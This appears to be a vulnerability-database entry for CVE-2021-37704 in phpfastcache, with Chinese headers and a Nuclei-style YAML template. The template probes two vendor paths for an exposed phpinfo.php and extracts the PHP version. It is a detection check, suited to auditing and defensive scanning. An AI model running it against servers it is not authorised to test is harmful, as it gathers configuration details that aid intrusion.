CVE-2021-37704: phpfastcache - phpinfo Resource Exposure

日期: 2025-08-01 | 影响软件: phpfastcache | POC: 已公开

漏洞描述

phpinfo() is susceptible to resource exposure in unprotected composer vendor folders via phpfastcache/phpfastcache.

PoC代码[已公开]

id: CVE-2021-37704

info:
  name: phpfastcache - phpinfo Resource Exposure
  author: whoever
  severity: medium
  description: phpinfo() is susceptible to resource exposure in unprotected composer vendor folders via phpfastcache/phpfastcache.
  impact: |
    An attacker can gain access to sensitive information, such as server configuration details, PHP version, and installed extensions.
  remediation: |
    Remove or restrict access to the phpinfo.php file in the phpfastcache library.
  reference:
    - https://github.com/PHPSocialNetwork/phpfastcache/pull/813 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37704
    - https://github.com/PHPSocialNetwork/phpfastcache/security/advisories/GHSA-cvh5-p6r6-g2qc
    - https://packagist.org/packages/phpfastcache/phpfastcache
    - https://github.com/PHPSocialNetwork/phpfastcache/blob/master/CHANGELOG.md#807
    - https://github.com/PHPSocialNetwork/phpfastcache/commit/41a77d0d8f126dbd6fbedcd9e6a82e86cdaafa51
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-37704
    cwe-id: CWE-668,CWE-200
    epss-score: 0.47802
    epss-percentile: 0.9757
    cpe: cpe:2.3:a:phpfastcache:phpfastcache:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: phpfastcache
    product: phpfastcache
  tags: cve2021,cve,exposure,phpfastcache,phpinfo,phpsocialnetwork,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/vendor/phpfastcache/phpfastcache/docs/examples/phpinfo.php"
      - "{{BaseURL}}/vendor/phpfastcache/phpfastcache/examples/phpinfo.php"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body
# digest: 4b0a004830460221009f471a215e7c3b58a492560d5eabcbdf12ce9d076cd294303cb14fe4ff2f98b102210085a927cb5b3731857abb165c7a793e1adf69cdd35a7d89b7e9ad3d072f7e8ab8:922c64590222798bb761d5b6d8e72950